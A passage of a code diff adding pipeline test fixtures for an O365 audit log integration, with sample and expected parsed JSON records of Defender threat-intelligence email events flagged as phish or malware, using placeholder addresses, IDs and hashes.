+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "Subject": "subject",
+ "Workload": "ThreatIntelligence",
+ "Directionality": "Inbound",
+ "DetectionType": "Inline",
+ "OriginalDeliveryLocation": "JunkFolder",
+ "UserId": "ThreatIntel",
+ "InternetMessageId": "",
+ "CreationTime": "2021-12-31T23:59:59",
+ "LatestDeliveryLocation": "JunkFolder",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4
+ }
+ },
+ {
+ "event": {
+ "original": "{\"Policy\":\"AntiMalware\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"DeliveryAction\":\"Blocked\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Malware\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Antimalware protection\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware\",\"Subject\":\"2021-12-31\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Intraorg\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"AttachmentData\":[{\"SHA256\":\"abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled1.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"1\"},{\"SHA256\":\"cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled2.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"2\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}"
+ },
+ "o365audit": {
+ "Policy": "AntiMalware",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "UserKey": "ThreatIntel",
+ "DeliveryAction": "Blocked",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "MessageTime": "2021-12-31T23:59:59",
+ "Operation": "TIMailData",
+ "P2Sender": "sender@example.com",
+ "RecordType": 28,
+ "Version": 1,
+ "PolicyAction": "Quarantine",
+ "Verdict": "Malware",
+ "SenderIp": "81.2.69.144",
+ "P1Sender": "sender@example.com",
+ "DetectionMethod": "Antimalware protection",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "AuthDetails": [
+ {
+ "Value": "None",
+ "Name": "DKIM"
+ },
+ {
+ "Value": "None",
+ "Name": "DMARC"
+ }
+ ],
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware",
+ "Subject": "2021-12-31",
+ "Workload": "ThreatIntelligence",
+ "Directionality": "Intraorg",
+ "DetectionType": "Inline",
+ "OriginalDeliveryLocation": "Quarantine",
+ "UserId": "ThreatIntel",
+ "InternetMessageId": "",
+ "CreationTime": "2021-12-31T23:59:59",
+ "LatestDeliveryLocation": "Quarantine",
+ "AttachmentData": [
+ {
+ "SHA256": "abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890",
+ "FileType": "eml;mime",
+ "FileName": "untitled1.eml",
+ "MalwareFamily": "HTML/Phish.PAZU!MTB",
+ "FileVerdict": "1"
+ },
+ {
+ "SHA256": "cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890",
+ "FileType": "eml;mime",
+ "FileName": "untitled2.eml",
+ "MalwareFamily": "HTML/Phish.PAZU!MTB",
+ "FileVerdict": "2"
+ }
+ ],
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json-expected.json
new file mode 100644
index 00000000000..0ec241ea8b7
--- /dev/null
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json-expected.json
@@ -0,0 +1,564 @@
+{
+ "expected": [
+ {
+ "@timestamp": "2021-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "TIMailData",
+ "category": [
+ "web"
+ ],
+ "code": "ThreatIntelligence",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"Policy\":\"HighConfidencePhish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"SystemOverrides\":[{\"Details\":\"Exchange transport rule\",\"FinalOverride\":\"No\",\"Source\":\"Tenant\",\"Result\":\"Block\"}],\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Blocked\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Fingerprint matching\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"Permanent error\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"InternetMessageId\":\"\",\"UserId\":\"ThreatIntel\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}",
+ "outcome": "success",
+ "provider": "ThreatIntelligence",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Fail"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "None"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "Permanent error"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "fail"
+ }
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "CreationTime": "2021-12-31T23:59:59",
+ "DeliveryAction": "Blocked",
+ "DetectionMethod": "Fingerprint matching",
+ "DetectionType": "Inline",
+ "Directionality": "Inbound",
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "InternetMessageId": "",
+ "LatestDeliveryLocation": "Quarantine",
+ "MessageTime": "2021-12-31T23:59:59",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "OriginalDeliveryLocation": "Quarantine",
+ "P1Sender": "sender@example.com",
+ "P2Sender": "sender@example.com",
+ "PhishConfidenceLevel": "High",
+ "Policy": "HighConfidencePhish",
+ "PolicyAction": "Quarantine",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "RecordType": "28",
+ "SenderIp": "81.2.69.144",
+ "Subject": "subject",
+ "SystemOverrides": [
+ {
+ "Details": "Exchange transport rule",
+ "FinalOverride": "No",
+ "Result": "Block",
+ "Source": "Tenant"
+ }
+ ],
+ "UserId": "ThreatIntel",
+ "UserKey": "ThreatIntel",
+ "UserType": "4",
+ "Verdict": "Phish",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "ThreatIntel"
+ }
+ },
+ {
+ "@timestamp": "2021-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "TIMailData",
+ "category": [
+ "web"
+ ],
+ "code": "ThreatIntelligence",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Delivered\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"URL detonation reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Pass\",\"Name\":\"DMARC\"},{\"Value\":\"pass\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}",
+ "outcome": "success",
+ "provider": "ThreatIntelligence",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "Fail"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "Pass"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "pass"
+ }
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "CreationTime": "2021-12-31T23:59:59",
+ "DeliveryAction": "Delivered",
+ "DetectionMethod": "URL detonation reputation",
+ "DetectionType": "Inline",
+ "Directionality": "Inbound",
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "InternetMessageId": "",
+ "LatestDeliveryLocation": "JunkFolder",
+ "MessageTime": "2021-12-31T23:59:59",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "OriginalDeliveryLocation": "JunkFolder",
+ "P1Sender": "sender@example.com",
+ "P2Sender": "sender@example.com",
+ "PhishConfidenceLevel": "High",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "RecordType": "28",
+ "SenderIp": "81.2.69.144",
+ "Subject": "subject",
+ "UserId": "ThreatIntel",
+ "UserKey": "ThreatIntel",
+ "UserType": "4",
+ "Verdict": "Phish",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "ThreatIntel"
+ }
+ },
+ {
+ "@timestamp": "2021-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "p1sender@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "TIMailData",
+ "category": [
+ "web"
+ ],
+ "code": "ThreatIntelligence",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"Delivered\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"Spoof external domain\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Fail\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Inbox\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Inbox\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}",
+ "outcome": "success",
+ "provider": "ThreatIntelligence",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Pass"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "Fail"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "Fail"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "fail"
+ }
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "CreationTime": "2021-12-31T23:59:59",
+ "DeliveryAction": "Delivered",
+ "DetectionMethod": "Spoof external domain",
+ "DetectionType": "Inline",
+ "Directionality": "Inbound",
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "InternetMessageId": "",
+ "LatestDeliveryLocation": "Inbox",
+ "MessageTime": "2021-12-31T23:59:59",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "OriginalDeliveryLocation": "Inbox",
+ "P1Sender": "p1sender@example.com",
+ "P2Sender": "sender@example.com",
+ "PhishConfidenceLevel": "Normal",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "RecordType": "28",
+ "SenderIp": "81.2.69.144",
+ "Subject": "subject",
+ "UserId": "ThreatIntel",
+ "UserKey": "ThreatIntel",
+ "UserType": "4",
+ "Verdict": "Phish",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "ThreatIntel"
+ }
+ },
+ {
+ "@timestamp": "2021-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "p1sender@example.com"
+ ]
+ },
+ "subject": [
+ "subject"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "TIMailData",
+ "category": [
+ "web"
+ ],
+ "code": "ThreatIntelligence",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"Policy\":\"Phish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"DeliveredAsSpam\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"MoveToJmf\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"URL malicious reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"},{\"Value\":\"none\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}",
+ "outcome": "success",
+ "provider": "ThreatIntelligence",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AuthDetails": [
+ {
+ "Name": "SPF",
+ "Value": "Fail"
+ },
+ {
+ "Name": "DKIM",
+ "Value": "Fail"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "None"
+ },
+ {
+ "Name": "Comp Auth",
+ "Value": "none"
+ }
+ ],
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "CreationTime": "2021-12-31T23:59:59",
+ "DeliveryAction": "DeliveredAsSpam",
+ "DetectionMethod": "URL malicious reputation",
+ "DetectionType": "Inline",
+ "Directionality": "Inbound",
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "InternetMessageId": "",
+ "LatestDeliveryLocation": "JunkFolder",
+ "MessageTime": "2021-12-31T23:59:59",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "OriginalDeliveryLocation": "JunkFolder",
+ "P1Sender": "p1sender@example.com",
+ "P2Sender": "sender@example.com",
+ "PhishConfidenceLevel": "Normal",
+ "Policy": "Phish",
+ "PolicyAction": "MoveToJmf",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "RecordType": "28",
+ "SenderIp": "81.2.69.144",
+ "Subject": "subject",
+ "UserId": "ThreatIntel",
+ "UserKey": "ThreatIntel",
+ "UserType": "4",
+ "Verdict": "Phish",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "ThreatIntel"
+ }
+ },
+ {
+ "@timestamp": "2021-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ],
+ "message_id": [
+ ""
+ ],
+ "sender": {
+ "address": [
+ "sender@example.com"
+ ]
+ },
+ "subject": [
+ "2021-12-31"
+ ],
+ "to": {
+ "address": [
+ "user@example.com"
+ ]
+ }
+ },
+ "event": {
+ "action": "TIMailData",
+ "category": [
+ "web"
+ ],
+ "code": "ThreatIntelligence",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"Policy\":\"AntiMalware\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"DeliveryAction\":\"Blocked\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Malware\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Antimalware protection\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware\",\"Subject\":\"2021-12-31\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Intraorg\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"AttachmentData\":[{\"SHA256\":\"abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled1.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"1\"},{\"SHA256\":\"cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890\",\"FileType\":\"eml;mime\",\"FileName\":\"untitled2.eml\",\"MalwareFamily\":\"HTML/Phish.PAZU!MTB\",\"FileVerdict\":\"2\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}",
+ "outcome": "success",
+ "provider": "ThreatIntelligence",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AttachmentData": [
+ {
+ "FileName": "untitled1.eml",
+ "FileType": "eml;mime",
+ "FileVerdict": "1",
+ "MalwareFamily": "HTML/Phish.PAZU!MTB",
+ "SHA256": "abcdefabcdef12345678901234567890abcdefabcdef12345678901234567890"
+ },
+ {
+ "FileName": "untitled2.eml",
+ "FileType": "eml;mime",
+ "FileVerdict": "2",
+ "MalwareFamily": "HTML/Phish.PAZU!MTB",
+ "SHA256": "cccdefabcdef12345678901234567890abcdefabcdef12345678901234567890"
+ }
+ ],
+ "AuthDetails": [
+ {
+ "Name": "DKIM",
+ "Value": "None"
+ },
+ {
+ "Name": "DMARC",
+ "Value": "None"
+ }
+ ],
+ "CreationTime": "2021-12-31T23:59:59",
+ "DeliveryAction": "Blocked",
+ "DetectionMethod": "Antimalware protection",
+ "DetectionType": "Inline",
+ "Directionality": "Intraorg",
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Malware",
+ "InternetMessageId": "",
+ "LatestDeliveryLocation": "Quarantine",
+ "MessageTime": "2021-12-31T23:59:59",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "OriginalDeliveryLocation": "Quarantine",
+ "P1Sender": "sender@example.com",
